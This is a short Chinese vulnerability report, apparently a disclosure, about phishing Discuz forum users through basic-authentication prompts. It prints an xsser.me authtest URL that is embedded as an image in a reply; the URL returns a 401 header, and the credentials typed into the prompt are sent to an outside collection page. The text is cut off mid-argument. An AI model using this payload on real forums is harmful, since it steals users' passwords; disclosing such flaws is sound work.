当Discuz!遇上xsser.me

简要描述： 利用的是xsser.me的基础认证钓鱼，并成功钓到用户数据 详细说明： 当在Discuz中回帖，插入一张很奇葩的图片时，可能就会导致用户被盗号。 http://xsser.me/authtest.php?id=Ayuk1y&[email protected] 例如上面那个地址，可以用图片来引用之，然后回帖，当用户看到这张图片的时候，就会触发提示登陆框。 这个地址是一个401头 HTTP/1.1 401 Unauthorized 当输入密码后，会重定向到收集数据的页面，接着，你们密码就被盗了。 我为什么认为这个是一个漏洞：...